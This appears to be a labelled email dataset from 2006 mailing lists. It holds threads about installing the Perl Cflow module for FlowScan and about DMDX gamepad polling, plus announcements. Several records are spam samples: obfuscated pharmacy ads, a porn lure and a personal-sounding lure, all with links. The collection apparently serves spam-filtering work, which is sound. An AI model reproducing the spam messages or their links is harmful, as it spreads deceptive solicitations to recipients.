/usr/lib/perl5/site_perl/5.8.3/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.2/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.1/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.5 /usr/lib/perl5/site_perl/5.8.4 > /usr/lib/perl5/site_perl/5.8.3 /usr/lib/perl5/site_perl/5.8.2 > /usr/lib/perl5/site_perl/5.8.1 /usr/lib/perl5/site_perl/5.8.0 > /usr/lib/perl5/site_perl > /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.4/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.3/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.2/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.1/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.5 /usr/lib/perl5/vendor_perl/5.8.4 > /usr/lib/perl5/vendor_perl/5.8.3 /usr/lib/perl5/vendor_perl/5.8.2 > /usr/lib/perl5/vendor_perl/5.8.1 /usr/lib/perl5/vendor_perl/5.8.0 > /usr/lib/perl5/vendor_perl .) at /var/netflow/bin/flowscan line 25. > BEGIN failed--compilation aborted at /var/netflow/bin/flowscan line > 25. > > Any help regarding this error will be highly appreciated. ",0,1 Thomas Stegbauer ,cuflow-users@columbia.edu,"Fri, 13 Jan 2006 19:38:42 +0100",Re: cuflow on debian sarge running motorola powerstack (ppc-architecture),"Robert S Galloway schrieb: > Good morning Thomas. > > The error you are seeing is related to the Cflow.pm perl module. The > module must be configured and compiled for use with flow-tools files. > I'm not sure how to correctly install it when using a debian package > of flow-tools. Using the flow-tools tarball, you would do the following: > > untar the flow-tools tar.gz > cd flow-tools-0.66 > cd contrib > tar -zxvf Cflow-1.051.tar.gz > cd Cflow-1.051 > perl Makefile.PL > make > make install > > The Cflow Makefile will look for the flow-tools files itself. It > expects to find them in the same folder path, so it's important to > follow this exactly as described above. > > Let us know how it goes. > > Thanks, Robert > > P.S. You'll find the same notes here near the bottom of the page. > http://www.dynamicnetworks.us/netflow/2-getting-started.html > hi robert, thanx for the answer, but i dont want cflow, cause its old and dont get developed, than i want the flow-tools? does i missunderstand something? thomas -- # Thomas Stegbauer # https://keyserver1.pgp.com/vkd/DownloadKey.event?keyid=0x65CEC0FC275931BF # Key fingerprint = 984E D4B1 E91E F349 5057 B6AC 65CE C0FC 2759 31BF ",0,1 Barbara Daniel ,"ema2019@columbia.edu, romanianclub@columbia.edu, bac27@columbia.edu, rupp@columbia.edu, fp7@columbia.edu, kz26@columbia.edu","Fri, 13 Jan 2006 14:45:55 -0400",M3ds shipped within 48 hours from Ferris Industries 9SLCsxiUR,"xf779rPfJQi R N L N S G T t O W M M W C P S A V X o ow o hi et ak ak ur   ei us en om ho ai le nt  i   - V mor est Pri ppe  yo e a ing  on   ght cle 's en' les n R ep i D  s isi   e l  Pr or  d o ur  st  ad lin  Lo  Re Hea s H ter eli Pro epr   i t   t Ou ong ices Pres ut t Medi ep i vant e Dr ss laxe lth ealt ol  ef  blem essi     O r On doct  Gua crip o yo cine nto age ugst    < rs <    < h  <    <    < s  < on <   u r li or ra ti u  O th of or Me Za Vi Cl Me Ce Am Pa  S ne  v nt on wi nl e  o e ri na ag om va le bi xi  i    Dru isit eed!  Nee thin ine futu ur o has dia, flex ra, id, cor, coxi en, l, P  t e gs s! de  4 an re nl pr  F > Le Ay  Z b, So ro   to d! 8 d  & in od lo vi ge oc  F na za T  re Ho Sa  j e uc ri tr st or el ta c, o   & ur ve oi se ts ne a, in > de >  Z d   S s! ! n rv  f f>  C > ne ol a  av th ic or ia > of y e! e es : li t> ! mi .. s>   ll .   ions   http://RXKOLESA.COM/?rvErPgHsjIb",1,1 ,,,,"Windows NT v1.1b) with SMTP id <[log in to unmask]>; Fri, 13 Jan 2006 15:16:46 -0500 Received: from ([138.237.129.242]) by mailgw.tcu.edu with ESMTP id KP-BPZAB.34596199; Fri, 13 Jan 2006 14:16:31 -0600 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: <[log in to unmask]> References: <[log in to unmask]> Content-Type: multipart/alternative; boundary=Apple-Mail-3--37600159 Message-Id: <[log in to unmask]> From: Scott Williams <[log in to unmask]> Subject: Re: #8114 Translation/localization programs Date: Fri, 13 Jan 2006 14:16:29 -0600 To: Language Learning and Technology International Information Forum <[log in to unmask]> X-Mailer: Apple Mail (2.746.2) X-ESP: ESP<0>=RBL:<0> RDNS:<0> SHA:<0> UHA:<0> SLS:<0> BAYES:<0> SenderID:<0> URL Substring Dictionary (TRU8):<0> Spam Dictionary (TRU8):<0> URLTCU:<0> TCUcid:<0> TCU:<0> Rx:<0> NigeriaScam Dictionary (TRU8):<0> Sober-German:<0> newURL:<0> TCUns:<0> Porn Dictionary (TRU8):<0> Embed HTML Dictionary (TRU8):<0> Obscenities Dictionary (TRU8):<0> URL Dictionary (TRU8):<0> CAN-SPAM Compliance Dictionary (TRU8):<0> --Apple-Mail-3--37600159 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Hi, There is no ""localization"" software. What you mention are Computer Assisted Translation (CAT) programs (to be distinguished from machine translation). Trados is now owned by SDL, which has a university discount program: Also, Heartsome (which is the only CAT software that has been developed for multiple platforms) : < http://www.heartsome.net/> And lastly, you might look at Wordfast. Developed by a Frenchman, it is free and works by installing Macros into Word. http:// www.wordfast.net/ Scott On Jan 13, 2006, at 1:54 PM, LLTI-Editor wrote: > I am researching translation and localization software packages for > our > department's graduate translating certificate program. > > We have a couple of older versions of Trados, DejaVu, and Systran > that are no > longer being used. One of the programs required that the user have > full > administrative rights to the machine which is not possible in our > lab situation. > > I am interested to know what localization programs are in use in > other LRCs and > if there have been any issues installing them in a lab. I would > also like to > know how licensing is handled for localization programs in use and > the general > price of those programs. The prices (even with an educational > discount) that I > have been quoted is very high. > > Thanks for any info you can provide. > > Heather McCullough Scott G. Williams, Ph.D. Associate Prof. of German Director, Language Media Center Dept. of Modern Languages and Literatures Box 297210 Texas Christian University Ft. Worth, Texas 76129 President, South Central Association for Language Learning Technology Tel: Office (817) 257-7163 email: [log in to unmask] Back to: Top of message | Previous page | Main LLTI page LISTSERV.DARTMOUTH.EDU",0,1 """Kseniya Shelkovskaya, CTV Campus Programming"" ",romanianclub@columbia.edu,"Fri, 13 Jan 2006 14:19:40 -0500",Columbia Television," Dear Romanian Club Board Members, My name is Kseniya Shelkovskaya, and I am writing on the behalf of Columbia Television (CTV). CTV network broadcasts 24 hours a day, 7 days a week, and 365 days a year. CTV is flushing out our schedule with brand new original programming. From short films, to original series; from Basketball to political speakers; CTV is the place to find it all. Romanian Club made a great impression on me when I read about you online, and it would be amazing if we could have your club represented on our channel. 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I'm trying to set up a masked priming experiment using an USB Logitech Wingman Precision gamepad (not a joystick). In the Input Device section in TimeDX, the device is properly recognized, but it doesn't say ""polled device"" or the polling time. It doesn't say it is interrupt-driven either (like it does for the keyboard and the mouse. Instead, I get a pair of coordenates, like (0, 65565) that change with the directional axis. Does this mean the device is not polled and that I should get rid of it? If that is the case, can anyone recomend a gamepad that works? Thanks a lot, Joao Verissimo ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 14 Jan 2006 14:01:52 -0700",[DMDX] Re: gamepad: polled or interrupt?,"At 07:02 PM 1/14/2006 +0000, you wrote: >Hello, all. > >I'm trying to set up a masked priming experiment using an USB Logitech >Wingman Precision gamepad (not a joystick). > >In the Input Device section in TimeDX, the device is properly >recognized, but it doesn't say ""polled device"" or the polling time. >It doesn't say it is interrupt-driven either (like it does for the >keyboard and the mouse. If it's not interrupt driven it's polled, there are only two options. TimeDX won't list the polling time till you actually test it. >Instead, I get a pair of coordenates, like (0, 65565) that change with >the directional axis. > >Does this mean the device is not polled and that I should get rid of it? It means it's polled and isn't nearly as good as an interrupt driven one. >If that is the case, can anyone recomend a gamepad that works? I would have said any USB device had to be interrupt driven but if TimeDX says it isn't then it ain't. Depends how long it takes to poll the device, if it takes a small fraction of a millisecond to poll you can poll it every millisecond and it'll make a fairly good input device. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lord Falkland's Rule: When it is not necessary to make a decision, it is necessary not to make a decision. ",0,0 Joao Verissimo ,DMDX@psy1.psych.arizona.edu,"Sat, 14 Jan 2006 21:35:50 +0000",[DMDX] Re: gamepad: polled or interrupt?,"Thanks for the answer. I keep on hitting ""Test"" but no polling results show up. Only the coordinates. In addition (though I don't know if this is relevant), when I try different polling times in the id parameter, nothing seems to change in the output. Not even with absurd polling times, like every 100 ms. I still get results to the 100th of a ms (like 454.34) in the output file. Since I can't get TimeDX to give me the polling time, I suppose I shouldn't risk it, and buy a new pad, right? Is an USB interrupt-driven gamepad the best choice? (apart from the PIO thing) Or should I look for a polled one that is polled in a very short time? Thank you, Joao j.c.f. wrote: > At 07:02 PM 1/14/2006 +0000, you wrote: > >> Hello, all. >> >> I'm trying to set up a masked priming experiment using an USB Logitech >> Wingman Precision gamepad (not a joystick). >> >> In the Input Device section in TimeDX, the device is properly >> recognized, but it doesn't say ""polled device"" or the polling time. >> It doesn't say it is interrupt-driven either (like it does for the >> keyboard and the mouse. > > > If it's not interrupt driven it's polled, there are only two options. > TimeDX won't list the polling time till you actually test it. > > >> Instead, I get a pair of coordenates, like (0, 65565) that change with >> the directional axis. >> >> Does this mean the device is not polled and that I should get rid of it? > > > It means it's polled and isn't nearly as good as an interrupt driven one. > > >> If that is the case, can anyone recomend a gamepad that works? > > > I would have said any USB device had to be interrupt driven but if > TimeDX says it isn't then it ain't. Depends how long it takes to poll > the device, if it takes a small fraction of a millisecond to poll you > can poll it every millisecond and it'll make a fairly good input device. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Lord Falkland's Rule: When it is not necessary to make a > decision, it is necessary not to make a decision. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 14 Jan 2006 16:38:14 -0700",[DMDX] Re: gamepad: polled or interrupt?,"At 09:35 PM 1/14/2006 +0000, you wrote: >Thanks for the answer. > >I keep on hitting ""Test"" but no polling results show up. >Only the coordinates. You must be hitting the button that tests the device as a touch screen, the coordinates only update when the lower buttons are used. Use the test button at the top of the dialog. >In addition (though I don't know if this is relevant), when I try >different polling times in the id parameter, nothing seems to change in >the output. Not even with absurd polling times, like every 100 ms. I >still get results to the 100th of a ms (like 454.34) in the output file. Yeah, but it was only polled once every 100ms, DMDX is still going to display the exact time it was polled at. If however it's actually a interrupt driven device DMDX is ignoring the polling commands. >Since I can't get TimeDX to give me the polling time, I suppose I >shouldn't risk it, and buy a new pad, right? I don't think you're using TimeDX correctly, we'll see what happens when you use the right commands. >Is an USB interrupt-driven gamepad the best choice? (apart from the PIO >thing) Or should I look for a polled one that is polled in a very short >time? Interrupt driven would be my choice. I suspect however /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lord Falkland's Rule: When it is not necessary to make a decision, it is necessary not to make a decision. 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Cflow is required for FlowScan. > > Thanks, Robert > > Thomas Stegbauer wrote: >> Robert S Galloway schrieb: >> >>> Good morning Thomas. >>> >>> The error you are seeing is related to the Cflow.pm perl module. The >>> module must be configured and compiled for use with flow-tools files. >>> I'm not sure how to correctly install it when using a debian package >>> of flow-tools. Using the flow-tools tarball, you would do the >>> following: >>> >>> untar the flow-tools tar.gz >>> cd flow-tools-0.66 >>> cd contrib >>> tar -zxvf Cflow-1.051.tar.gz >>> cd Cflow-1.051 >>> perl Makefile.PL >>> make >>> make install >>> >>> The Cflow Makefile will look for the flow-tools files itself. It >>> expects to find them in the same folder path, so it's important to >>> follow this exactly as described above. >>> >>> Let us know how it goes. >>> >>> Thanks, Robert >>> >>> P.S. You'll find the same notes here near the bottom of the page. >>> http://www.dynamicnetworks.us/netflow/2-getting-started.html >>> >>> >> hi robert, >> >> thanx for the answer, but i dont want cflow, cause its old and dont get >> developed, than i want the flow-tools? >> >> does i missunderstand something? >> >> thomas >> >> >> > > -- # Thomas Stegbauer # https://keyserver1.pgp.com/vkd/DownloadKey.event?keyid=0x65CEC0FC275931BF # Key fingerprint = 984E D4B1 E91E F349 5057 B6AC 65CE C0FC 2759 31BF",0,1 Joao Verissimo ,DMDX@psy1.psych.arizona.edu,"Sun, 15 Jan 2006 02:46:35 +0000",[DMDX] Re: gamepad: polled or interrupt?,"Thanks, again. I'm using the correct Test button (top of dialog, next to Cancel and Help buttons). When I click it the coordinates appear below (or reset to (0, 0) ), but nothing else. Could it possibly be that it is an interrupt-driven device, though I get the coordinates, instead of ""device is interrupt driven""? (I'm using the latest versions of DMDX/TimeDX and DirectX, by the way - both of December 2005) Thank you, Joao j.c.f. wrote: > At 09:35 PM 1/14/2006 +0000, you wrote: > >> Thanks for the answer. >> >> I keep on hitting ""Test"" but no polling results show up. >> Only the coordinates. > > > You must be hitting the button that tests the device as a touch > screen, the coordinates only update when the lower buttons are used. > Use the test button at the top of the dialog. > >> In addition (though I don't know if this is relevant), when I try >> different polling times in the id parameter, nothing seems to change in >> the output. Not even with absurd polling times, like every 100 ms. I >> still get results to the 100th of a ms (like 454.34) in the output file. > > > Yeah, but it was only polled once every 100ms, DMDX is still going to > display the exact time it was polled at. If however it's actually a > interrupt driven device DMDX is ignoring the polling commands. > > >> Since I can't get TimeDX to give me the polling time, I suppose I >> shouldn't risk it, and buy a new pad, right? > > > I don't think you're using TimeDX correctly, we'll see what happens > when you use the right commands. > > >> Is an USB interrupt-driven gamepad the best choice? (apart from the PIO >> thing) Or should I look for a polled one that is polled in a very short >> time? > > > Interrupt driven would be my choice. I suspect however > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Lord Falkland's Rule: When it is not necessary to make a > decision, it is necessary not to make a decision. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 15 Jan 2006 09:00:35 -0700",[DMDX] Re: gamepad: polled or interrupt?,"At 02:46 AM 1/15/2006 +0000, you wrote: >Thanks, again. > >I'm using the correct Test button (top of dialog, next to Cancel and >Help buttons). > >When I click it the coordinates appear below (or reset to (0, 0) ), but >nothing else. Well, it has to be interrupt driven as that's the only code that will update the analog axes display which what you're seeing. But the only way that the button names could be missing on the screen is for the device to have no digital buttons or it is enumerating them in a fashion that TimeDX can't handle -- either of which would be the first time we've come across such a device. >Could it possibly be that it is an interrupt-driven device, though I get >the coordinates, instead of ""device is interrupt driven""? Doesn't really matter, if there are no digital buttons DMDX isn't going to be using it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lord Falkland's Rule: When it is not necessary to make a decision, it is necessary not to make a decision. ",0,0 Joao Verissimo ,DMDX@psy1.psych.arizona.edu,"Sun, 15 Jan 2006 17:00:19 +0000",[DMDX] Re: gamepad: polled or interrupt?,"I get the list of buttons available (and axes), when I press test. It's only the polling time that I don't get. When I press the axes, instead of highlighting them on the list, the coordinates change on top, just bellow the Test, Cancel and Help buttons. So, if it is interrupt-driven and if the the buttons I'm using are recognized, I guess I'll use this gamepad. Anyway, thanks a lot for your help. Joao j.c.f. wrote: > At 02:46 AM 1/15/2006 +0000, you wrote: > >> Thanks, again. >> >> I'm using the correct Test button (top of dialog, next to Cancel and >> Help buttons). >> >> When I click it the coordinates appear below (or reset to (0, 0) ), but >> nothing else. > > > Well, it has to be interrupt driven as that's the only code that will > update the analog axes display which what you're seeing. But the only > way that the button names could be missing on the screen is for the > device to have no digital buttons or it is enumerating them in a fashion > that TimeDX can't handle -- either of which would be the first time > we've come across such a device. > > >> Could it possibly be that it is an interrupt-driven device, though I get >> the coordinates, instead of ""device is interrupt driven""? > > > Doesn't really matter, if there are no digital buttons DMDX isn't > going to be using it. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Lord Falkland's Rule: When it is not necessary to make a > decision, it is necessary not to make a decision. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Specific projects may include: Development and evaluation of intelligent cushioning systems, Evaluation of the non-linear dynamics between pavements and vehicles, Evaluation of the non-linear behaviour of cushioning materials, Using high-speed videography to study the deformation of cushioning materials under impulsive loads, Development of a method for characterising non-stationary random vibrations, Applications of the wavelet transform (or other novel processing techniques) for characterising pavement surface irregularities or random vibrations. The Scholarship includes tuition fees as well as a stipend of approximately AU$18,700 per annum over three years, with a possible extension of 6 months. There is also a possibility of stipend top-ups for outstanding candidates. Students may undertake paid work as per current limits specified by the University. The scholarship is available to Australian residents as well as overseas students. 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Cheers, Jim Jim O'Brien Acting Managing Director Continuing Education, Educational Activities, & Professional Activities American Society of Civil Engineers (ASCE) 1801 Alexander Bell Drive Reston, VA 20191-4400 1-800-548-ASCE, extension 6055 703-295-6055 -----Original Message----- Scholarships Available ADSC: The International Association of Foundation Drilling invites applications for $3,000 graduate scholarships from United States and Canadian citizens for graduate study in geotechnical or structural engineering. Applicants must be currently enrolled in an ABET or CEAB accredited civil engineering undergraduate program, and must plan to enter graduate school during the current year. A maximum of twelve scholarships will be awarded for the academic year beginning in the Fall of 2006. In addition to the scholarship, winners will be flown (all expenses paid) to the ADSC Annual Meeting, and formally introduced to the membership. Each scholarship will be paid in installments (two installments of $1,500 for full-time students and installments of $500 per semester (to a maximum of $3,000) for part-time students) and will include liaison opportunities with ADSC contractor members near the awardee?s graduate school. Application forms are available at the following web site: www.adsc-iafd.com. Click on the ADSC Scholarship link in the column on the left of the web page. To be considered, all application materials, including academic transcripts and letters of reference, must be received at ADSC Headquarters in Dallas, Texas, by March 15, 2006. About ADSC and its Industry Advancement Fund (IAF) ADSC: The International Association of Foundation Drilling is an organization of contractors, manufacturers, suppliers, and engineers in the foundation drilling and anchored earth retention system industries. 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As soon as it sees > axes data however it overwrites the interrupt driven message with the > axes data. Guess when I wrote the code whatever device I had didn't > immediately provide the data or I didn't care if the message was > overwritten immediately. > >> When I press the axes, instead of highlighting them on the list, the >> coordinates change on top, just bellow the Test, Cancel and Help buttons. > > > Yeah, it's supposed to. > > >> So, if it is interrupt-driven and if the the buttons I'm using are >> recognized, I guess I'll use this gamepad. > > > Yep. You had me scared for minute there that there some new thing out > there but no, everything's under control. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Lord Falkland's Rule: When it is not necessary to make a > decision, it is necessary not to make a decision. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 Linda ,Starling ,"Sun, 15 Jan 2006 23:04:31 -0800",weird stuff,"Heya Starling, I apologize for how long its been since we've talked. I take blame for that. I just wanted to share with you the place that made me better, http://www.slubadakibalich.com/?a=1664/. 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Guess when I wrote the code whatever device I had didn't > > immediately provide the data or I didn't care if the message was > > overwritten immediately. > > > >> When I press the axes, instead of highlighting them on the list, the > >> coordinates change on top, just bellow the Test, Cancel and Help buttons. > > > > > > Yeah, it's supposed to. > > > > > >> So, if it is interrupt-driven and if the the buttons I'm using are > >> recognized, I guess I'll use this gamepad. > > > > > > Yep. You had me scared for minute there that there some new thing out > > there but no, everything's under control. > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > Lord Falkland's Rule: When it is not necessary to make a > > decision, it is necessary not to make a decision. > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lord Falkland's Rule: When it is not necessary to make a decision, it is necessary not to make a decision. ",0,1 Ahmed ,shawn@quake.seismo.unr.edu,"Mon, 16 Jan 2006 22:34:39 -0400",Russiian splendid Hussies here doing esthetical blowwjob.," fine russian delicious Schoolgirls here! http://pornositereview.info/fpthporn.htm?iSPhfd.fX,hj R_E_M_O_\\\\/_E http://pornositereview.info ",1,1 Joao Verissimo ,DMDX@psy1.psych.arizona.edu,"Tue, 17 Jan 2006 09:46:10 +0000",[DMDX] Re: gamepad: polled or interrupt?,"That's ok, since I'm using only 2 buttons for a ""Yes"" and ""No"" lexical decision. Thanks a lot. João j.c.f. wrote: > > Bear in mind the directional buttons won't be usable by DMDX as they are > actually analog axes even if they look like buttons to you. The other > buttons named by TimeDX will be fine however. > > At 12:08 AM 1/17/2006 +0000, you wrote: > >> Perfect! >> >> Thanks a lot. >> >> Joao >> >> j.c.f. wrote: >> > At 05:00 PM 1/15/2006 +0000, you wrote: >> > >> >> I get the list of buttons available (and axes), when I press test. >> >> It's only the polling time that I don't get. >> > >> > >> > That's because it's an interrupt driven device. As soon as it sees >> > axes data however it overwrites the interrupt driven message with the >> > axes data. Guess when I wrote the code whatever device I had didn't >> > immediately provide the data or I didn't care if the message was >> > overwritten immediately. >> > >> >> When I press the axes, instead of highlighting them on the list, the >> >> coordinates change on top, just bellow the Test, Cancel and Help >> buttons. >> > >> > >> > Yeah, it's supposed to. >> > >> > >> >> So, if it is interrupt-driven and if the the buttons I'm using are >> >> recognized, I guess I'll use this gamepad. >> > >> > >> > Yep. You had me scared for minute there that there some new thing >> out >> > there but no, everything's under control. >> > >> > /""\\ >> > -jonathan (j.c.f.) \\ / >> > X >> > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> > >> > Lord Falkland's Rule: When it is not necessary to make a >> > decision, it is necessary not to make a decision. >> > >> > >> > ==================================================================== >> > Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> > 'unsubscribe' by itself with no quotes in the body of the email >> > to be removed from the list. The list archive is available here: >> > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> > ==================================================================== >> > >> ==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> ==================================================================== > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Lord Falkland's Rule: When it is not necessary to make a > decision, it is necessary not to make a decision. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 Alton Tolman ,arl-announce@arl.org,"Tue, 17 Jan 2006 00:11:04 -0700",Re: oazyo news,"D u ear Home Ow y ne g r , Your c a red j it doesn't matter to us ! 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The judging panel, formed from members of the SPARC Europe Board of Directors, has issued a call for nominations for the Award. Nominations are open to all who have made major contributions in the field of scholarly communications, and the judging panel particularly wishes to receive nominations of individuals of groups working in any of the following areas: Research that helps illuminate the scholarly communications landscape Advocacy for new models of scholarly communications Development of new tools to aid scholarly communication (e.g. repository software) Interesting new projects or products Implementation of policies that promote new scholarly communication models. Nominations (together with a short outline of the nominee’s work) should be sent to David Prosser, Director of SPARC Europe no later than 10th February 2006. The Award will be present at the Third Nordic Conference on Scholarly Communication, to be held at Lund, Sweden 24 - 25 April 2006. SPARC Europe is an alliance of 110 research-led university libraries from 14 European countries. It is affiliated with SPARC based in Washington, D.C., which represents over 200 institutions, mainly in North America. SPARC Europe and SPARC work to develop and promote new models of scholarly communication that increase the access to and utility of the research literature. David C Prosser PhD Director SPARC Europe E-mail: david.prosser@bodley.ox.ac.uk Tel: +44 (0) 1865 277 614 Mobile: +44 (0) 7974 673 888 http://www.sparceurope.org",0,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 17 Jan 2006 11:09:03 -0500",READING - Mark Strand ,"upcoming reading Mark Strand Sunday, February 5 @ 5:00 The Bitter End 147 Bleecker Street, btw. Thompson & LaGuardia Mark Strand is the author of nine books of poems, including A Blizzard of One (1998), for which he was awarded the Pulitzer Prize. He is also the author of two books of essays on poetry, three books of art criticism, three children's books, a collection of short stories, and several volumes of poetry in translation, and has edited a number of anthologies. Strand will be reading from his new collection, Man and Camel, forthcoming this fall from Knopf. ",0,0 """Judi Piscitello <""","""a href=/cgi-bin/wa?LOGON=A2%3Dind0601%26amp%3BL%3Doandm%26amp%3BP%3D5961""","Tue, 17 Jan 2006 14:15:32 -0500",Re: Source Needed,"Hi Karin, The APH ENVISION I kit for Distance Devices simulates standard street signs, addresses, international symbols, and familiar objects. - Judi Piscitello, TVI, COMS [log in to unmask] Assistant, Training of Special Educators NYS School for the Blind Outreach Department 2A Richmond Avenue Batavia, NY 14020 (585) 343-5384 ext. 427 FAX (585) 343-0652 http://www.vesid.nysed.gov/specialed/nyssb/resource.htm The most important thing in this life is helping others to win, even if that means slowing down and changing our own race. - Author Unknown >>> ""Stickney, Karin"" <[log in to unmask]> 01/17/06 2:03 PM >>> Does anyone know a good source for pictures of street signs and symbols? I have seen some 8x11 double-sided cards with pictures on both sides, but I'm not sure of a good place to get them. I know you guys will have some suggestions! Thanks! Karin Stickney Certified O&M Specialist Teacher of the Visually Impaired Arizona State Schools for the Deaf and the Blind 1200 W. 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Patti Smith, world-renowned musician, poet, and punk icon, will read from her new book of poetry, /Auguries of Innocence/, as well as perform some of her own music with guitarist Lenny Kaye. www.heymancenter.org ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 17 Jan 2006 13:49:44 -0500",MA students- from Prof CLAYBAUGH,"Hello, all. Welcome back. If you are intending to complete your MA degree this semester, you must enroll in the MA thesis-writing tutorial (G5005). Please do so as soon as possible so I know who you are (this will help with sending out e-mails, etc). Also, please consult with me to make sure that you have fulfilled all of your requirements (seminar requirements, distribution requirements, and language requirements). I will be in my office (408J Philosophy) every afternoon this week, and I can also be reached by e-mail. All the best, Amanda",0,0 Alex Lin ,romanianclub@columbia.edu,"Tue, 17 Jan 2006 20:54:02 +0000","Special Discount for Students: NTDTV Chinese New Year Global Gala @ Radio City Musical Hall, Jan 20-21","Dear Friends at Romanian Club, Culture, History, & Art ! Myths & Legends! Spectacular ! Unforgettable!! New Tang Dynasty Television (NTDTV), an independent not-for-profit Chinese and English language global TV broadcaster headquartered in New York City, is delighted to present to you another season of Chinese New Year Global Gala (http://gala.ntdtv.com/), starting from Boston, USA on January 7th and ending in Paris, France in Feb 25th. Being NTDTV�s flagship annual concert-and-musical style performance, the Gala features spectacular, colorful programs ranging from traditional folk songs, dances, and instruments, classical ballet, vocal solos, drama, and many other wonderful performances by world-class artists invited by NTDTV. Last year in New York, the Gala held at Theatre of Madison Square Garden was sold out and received standing ovations and excellent reviews. This year, the Gala will be held at Radio City Music Hall on January 20 and 21, 2006. In particular, NTDTV has made a tradition to introduce legendary stories through traditional dance and drama programs in the Gala. Last year, there were �The story of Year� and �Eight Taoists Crossing the Sea�. This year, there will be �9 Swords� and �Flower Fairy�. Please don�t miss out this chance to enjoy an unforgettable presentation of traditional Chinese art, culture and history, together with a selection of best western arts. NTDTV has announced a special discount for students: 20% off for individuals and up to 50% for groups. Please contact Tim Sun (tim.sun@ntdtv.com,248.4 20.4898) and Sherry Yin (sherry.yin@ntdtv.com, 646-709-1107) for details. For more details about the program of the Gala, please visit the Gala website: http://gala.ntdtv.com/ You are very welcome to share this announcement with your students in your organization! Sincerely, Alex Lin alex.lin@ntdtv.com 248-225-8248 ",0,1 David Eddington ,DMDX@psy1.psych.arizona.edu,"Tue, 17 Jan 2006 15:57:18 -0700",[DMDX] DMDX,"I am running a cross modal experiment. The problem I am having is that the wav frame and the text frame overlap in spite of the null frame that comes between them. Below are data from my file: Sample item: +005135 “dictator” / / * “dictatorial”/; In spite of the fact the the parameters are identical for each text item and for the null frame, the overlapping between the wav and text doesn't occur with the first few items presented. It actually develops later. In other words, it acts as if the blank frame gets shorter as time goes on until the wav and text frames actually overlap. Any ideas you have are appreciated. Thanks, DE",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 17 Jan 2006 16:13:35 -0500",COURSES - Afro-American Sstudies,"Both courses are taught in Room 758 Schermerhorn Extension on the assigned day & time. AFASG4080/001 CALL # 29779 TOPICS IN THE BLACK EXPERIENCE: Transgressing Female Gendered-Sexualities tUESDAYS 